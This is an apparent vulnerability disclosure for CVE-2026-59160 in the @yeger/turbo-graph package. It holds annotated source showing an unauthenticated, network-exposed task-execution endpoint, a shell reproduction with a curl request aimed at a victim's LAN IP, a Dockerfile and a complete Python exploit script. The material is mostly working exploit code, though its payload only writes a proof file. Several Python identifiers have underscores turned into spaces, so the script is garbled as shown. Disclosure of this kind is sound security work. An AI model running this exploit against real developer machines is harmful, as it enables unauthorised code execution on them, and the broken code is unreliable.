CVE-2026-59160

// packages/turbo-graph/src/index.ts
19  const hostname = 'localhost' // used only for console URL, not for listen()
...
44    .listen(options.port, () => {  // hostname argument missing → 0.0.0.0 bind
45     const url = `http://${hostname}:${options.port}`

// packages/turbo-graph-ui/app/api/run/route.ts
156 export function GET(req: NextRequest) {
157  const url = new URL(req.url)
159  const tasksParam = url.searchParams.getAll('tasks')  // attacker-controlled source
171  const filter = url.searchParams.get('filter') ?? undefined
176  return buildResponseFromArgs(tasks, filter, req.signal, { force })

// buildResponseFromArgs — packages/turbo-graph-ui/app/api/run/route.ts
20  const args: string[] = ['run', ...tasks]       // tasks inserted directly
25     args.push(`--filter=${trimmed}`)
31   args.push('--force')
34  const child = spawn(turboBin, args, { cwd: dir, env: { ...process.env, CI: 'true' } })
                              // ^ sink: arbitrary task execution

mkdir /tmp/tg-poc && cd /tmp/tg-poc

cat > package.json <<'JSON'
{
 "private": true,
 "scripts": {
  "pwn": "node -e "require('fs').writeFileSync('/tmp/turbo-graph-poc', 'owned
')""
 },
 "devDependencies": {
  "@yeger/turbo-graph": "2.8.8",
  "turbo": "^2.0.0"
 }
}
JSON

cat > turbo.json <<'JSON'
{
 "tasks": {
  "pwn": { "cache": false }
 }
}
JSON

npm install
npx turbo-graph --port 29312

ss -tlnp 'sport = :29312'
# Expected: LISTEN 0 511 *:29312 (0.0.0.0, not 127.0.0.1)

# Replace <victim-ip> with the victim machine's LAN IP address.
curl -N "http://<victim-ip>:29312/api/run?tasks=pwn&force=true"

docker build -t vuln-001-poc <vuln-001-dir>
docker run --rm vuln-001-poc

# VULN-001 PoC: Unauthenticated Turborepo Task Execution (@yeger/turbo-graph@2.8.8)
#
# Layout:
#  /victim/     - simulated developer workspace that runs turbo-graph
#  /victim/pwn.js  - the task payload executed when the attacker fires /api/run
#  /poc.py      - attacker script: sends unauthenticated GET /api/run?tasks=pwn
#
# Build:
#  docker build -t vuln-001-poc <vuln-001-dir>
#
# Run:
#  docker run --rm vuln-001-poc

FROM node:20-slim

# System tools:
#  python3  - runs poc.py
#  iproute2  - ss(8) for socket-binding introspection (evidence collection)
RUN apt-get update && 
  apt-get install -y --no-install-recommends python3 iproute2 && 
  rm -rf /var/lib/apt/lists/*

# ---------------------------------------------------------------------------
# Victim workspace: a minimal Turborepo project that a developer might run
# ---------------------------------------------------------------------------
WORKDIR /victim

# package.json: defines the 'pwn' task script and package dependencies.
# @yeger/turbo-graph@2.8.8 is the vulnerable package (from DerYeger/yeger).
# turbo satisfies the peerDependency and provides node modules/.bin/turbo.
RUN echo '{"private":true,"name":"victim-project","packageManager":"npm@10.8.2","scripts":{"pwn":"node /victim/pwn.js"},"devDependencies":{"@yeger/turbo-graph":"2.8.8","turbo":"^2.0.0","react":"^18.0.0","react-dom":"^18.0.0"}}' 
  > /victim/package.json

# turbo.json: declares the 'pwn' task with caching disabled so it always runs.
RUN echo '{"tasks":{"pwn":{"cache":false}}}' 
  > /victim/turbo.json

# pwn.js: task payload — writes a timestamped proof file and logs to stdout.
# When an attacker sends GET /api/run?tasks=pwn, turbo-graph runs this script.
RUN echo 'const fs = require("fs"); const ts = Date.now().toString(); fs.writeFileSync("/tmp/poc-proof.txt", "PWNED:" + ts); console.log("TASK EXECUTED:" + ts);' 
  > /victim/pwn.js

# Install packages from the declarations in package.json.
# --legacy-peer-deps avoids strict peer-dep resolution failures.
# The published @yeger/turbo-graph-ui@2.8.8 tarball ships a pre-built
# .next/ directory, so no separate 'next build' step is required.
RUN npm install --legacy-peer-deps --no-fund --no-audit 2>&1 | tail -5

# ---------------------------------------------------------------------------
# Attacker PoC script
# ---------------------------------------------------------------------------
COPY poc.py /poc.py

# Default: execute the PoC (start server, fire unauthenticated request, verify)
CMD ["python3", "/poc.py"]

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Network-Exposed Turborepo Task Execution
Package: @yeger/turbo-graph@2.8.8
CWE:   CWE-306 (Missing Authentication for Critical Function)
CVSS:   8.8 High (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Two independent flaws combine into the vulnerability:
 1. packages/turbo-graph/src/index.ts:44 calls .listen(port) without a
   hostname argument, so Node.js defaults to 0.0.0.0 (all interfaces).
 2. packages/turbo-graph-ui/app/api/run/route.ts:156-177 GET() handler
   has zero authentication; attacker-supplied ?tasks= values are passed
   directly to spawn(turboBin, ['run', ...tasks], { cwd: victimDir }).

Attack scenario reproduced here:
 - Victim runs `turbo-graph` from a project with a side-effecting task.
 - Attacker sends a plain unauthenticated GET /api/run?tasks=pwn.
 - The server executes `turbo run pwn` in the victim's project directory.
 - The 'pwn' task writes /tmp/poc-proof.txt, proving arbitrary execution.
"""

import os
import socket
import subprocess
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
PROOF FILE = "/tmp/poc-proof.txt"
PORT = 29312
VICTIM DIR = "/victim"
TURBO GRAPH BIN = os.path.join(VICTIM DIR, "node modules", ".bin", "turbo-graph")
SERVER STARTUP TIMEOUT = 120  # seconds; Next.js production startup can be slow
REQUEST TIMEOUT = 90      # seconds to wait for the SSE stream to finish


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait for port(host: str, port: int, timeout: int) -> bool:
  """Poll until the TCP port accepts connections or timeout expires."""
  deadline = time.time() + timeout
  while time.time() < deadline:
    try:
      with socket.create connection((host, port), timeout=2):
        return True
    except (ConnectionRefusedError, OSError):
      time.sleep(1)
  return False


def get socket binding(port: int) -> str:
  """Return the raw 'ss' output for the listening socket on *port*."""
  try:
    result = subprocess.run(
      ["ss", "-tlnp", f"sport = :{port}"],
      capture output=True,
      text=True,
      timeout=5,
    )
    return result.stdout.strip()
  except Exception as exc:
    return f"(ss unavailable: {exc})"


def binding is all interfaces(ss output: str) -> bool:
  """Return True when the socket is listening on all interfaces."""
  return any(
    marker in ss output
    for marker in ("0.0.0.0", "*:", "[::]", ":::")
  )


def read sse stream(url: str, timeout: int) -> list:
  """
  Open *url* as a Server-Sent Events stream and return parsed events.
  Each event is a dict with keys 'type' and optionally 'data'.
  Stops when an 'end' event is received or *timeout* seconds elapse.
  """
  events = []
  try:
    req = urllib.request.Request(
      url,
      headers={
        "Accept": "text/event-stream",
        "Cache-Control": "no-cache",
        "Connection": "keep-alive",
      },
    )
    with urllib.request.urlopen(req, timeout=timeout) as resp:
      print(f" [HTTP] {resp.status} {resp.reason}")
      print(f" [HTTP] Content-Type: {resp.getheader('Content-Type', '')}")
      buf = ""
      deadline = time.time() + timeout
      while time.time() < deadline:
        chunk = resp.read(4096)
        if not chunk:
          break
        buf += chunk.decode("utf-8", errors="replace")
        # Parse complete SSE blocks (separated by blank lines)
        while "

" in buf:
          block, buf = buf.split("

", 1)
          ev: dict = {}
          for line in block.strip().split("
"):
            if line.startswith("event: "):
              ev["type"] = line[7:]
            elif line.startswith("data: "):
              ev["data"] = line[6:]
            # ignore SSE comments (':') and 'retry:' lines
          if ev.get("type"):
            events.append(ev)
            preview = ev.get("data", "")[:120]
            print(f" [SSE] event={ev['type']} data={preview}")
            if ev["type"] == "end":
              return events
  except urllib.error.HTTPError as exc:
    print(f" [!] HTTP error: {exc.code} {exc.reason}")
  except Exception as exc:
    print(f" [!] Stream error: {type(exc). name }: {exc}")
  return events


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
  sep = "=" * 64
  print(sep)
  print("VULN-001 PoC — Unauthenticated Turborepo Task Execution")
  print("Package : @yeger/turbo-graph@2.8.8")
  print("CWE-306 : Missing Authentication for Critical Function")
  print(sep)
  print()

  # Remove stale proof file from a previous run
  if os.path.exists(PROOF FILE):
    os.remove(PROOF FILE)

  # ------------------------------------------------------------------
  # Step 1: Start turbo-graph server from the victim project directory
  # The CLI does NOT pass a hostname to .listen(), so Node.js binds to
  # 0.0.0.0 (all interfaces) — see index.ts:44.
  # ------------------------------------------------------------------
  print(f"[1] Starting turbo-graph from {VICTIM DIR} on port {PORT} ...")
  server = subprocess.Popen(
    [TURBO GRAPH BIN, "--port", str(PORT)],
    cwd=VICTIM DIR,
    stdout=subprocess.PIPE,
    stderr=subprocess.STDOUT,
    text=True,
  )

  # ------------------------------------------------------------------
  # Step 2: Wait for the port to become available
  # ------------------------------------------------------------------
  print(f"[2] Waiting up to {SERVER STARTUP TIMEOUT}s for Next.js server startup ...")
  ready = wait for port("127.0.0.1", PORT, timeout=SERVER STARTUP TIMEOUT)
  if not ready:
    server.kill()
    stdout,  = server.communicate()
    print(f"[!] Server did not become ready within {SERVER STARTUP TIMEOUT}s.")
    print(f"  stdout/stderr:
{stdout[:2000]}")
    return 1
  print(f"[+] Server is accepting connections on port {PORT}.")

  # ------------------------------------------------------------------
  # Step 3: Verify that the socket is bound to 0.0.0.0 (all interfaces)
  # Flaw 1: .listen(port) without hostname → network-exposed.
  # ------------------------------------------------------------------
  ss output = get socket binding(PORT)
  print(f"
[3] Socket binding (ss -tlnp sport=:{PORT}):")
  print(f"  {ss output}")
  if binding is all interfaces(ss output):
    print(f"[+] FLAW-1 CONFIRMED: Server bound to all interfaces (0.0.0.0 / ::), not loopback only.")
  else:
    print(f"[?] Could not confirm all-interface binding; proceeding with request test.")

  # ------------------------------------------------------------------
  # Step 4: Send an unauthenticated GET /api/run?tasks=pwn request
  # Flaw 2: no authentication, authorisation, CSRF check, or task
  #     allowlist — see route.ts:156-177.
  # ------------------------------------------------------------------
  url = f"http://127.0.0.1:{PORT}/api/run?tasks=pwn&force=true"
  print(f"
[4] Sending unauthenticated HTTP request (no token, no credentials):")
  print(f"  GET {url}")
  sse events = read sse stream(url, timeout=REQUEST TIMEOUT)

  # Allow a moment for any buffered I/O in the child process to flush
  time.sleep(3)

  # ------------------------------------------------------------------
  # Step 5: Evaluate exploitation results
  # ------------------------------------------------------------------
  exploited = os.path.exists(PROOF FILE)
  proof content = open(PROOF FILE).read().strip() if exploited else ""

  start event = next((e for e in sse events if e.get("type") == "start"), None)
  end event  = next((e for e in sse events if e.get("type") == "end"),  None)
  log events = [e for e in sse events if e.get("type") in ("log", "stderr")]

  print()
  print(sep)
  print("EVIDENCE SUMMARY")
  print(sep)

  # Evidence A: socket binding
  if binding is all interfaces(ss output):
    print(f"[A] FLAW-1 — Socket bound to all interfaces: {ss output.split(chr(10))[0][:80]}")
  else:
    print(f"[A] FLAW-1 — ss output: {ss output[:80]}")

  # Evidence B: unauthenticated SSE response
  if start event:
    print(f"[B] FLAW-2 — Unauthenticated /api/run accepted; SSE start args:")
    print(f"       {start event.get('data', '')}")
  else:
    received = [e.get("type") for e in sse events]
    print(f"[B] FLAW-2 — SSE events received: {received}")

  # Evidence C: turbo task exit code
  if end event:
    print(f"[C] TURBO  — turbo run exit code: {end event.get('data', '')}")

  # Evidence D: proof file (arbitrary code execution)
  if exploited:
    print(f"[D] EXPLOIT — Proof file created: {PROOF FILE}")
    print(f"       Content: {proof content}")
  else:
    print(f"[D] EXPLOIT — Proof file NOT created: {PROOF FILE}")
    if log events:
      print(f"  Task stdout/stderr (first 5 lines):")
      for ev in log events[:5]:
        print(f"   [{ev['type']}] {ev.get('data', '')}")

  print(sep)

  # Clean up
  server.kill()
  server.wait(timeout=10)

  if exploited:
    print("
[RESULT] PASS — Exploitation reproduced. Proof file written by unauthenticated request.")
    return 0
  else:
    print("
[RESULT] FAIL — Proof file not created. See evidence above for diagnostics.")
    return 1


if  name  == " main ":
  sys.exit(main())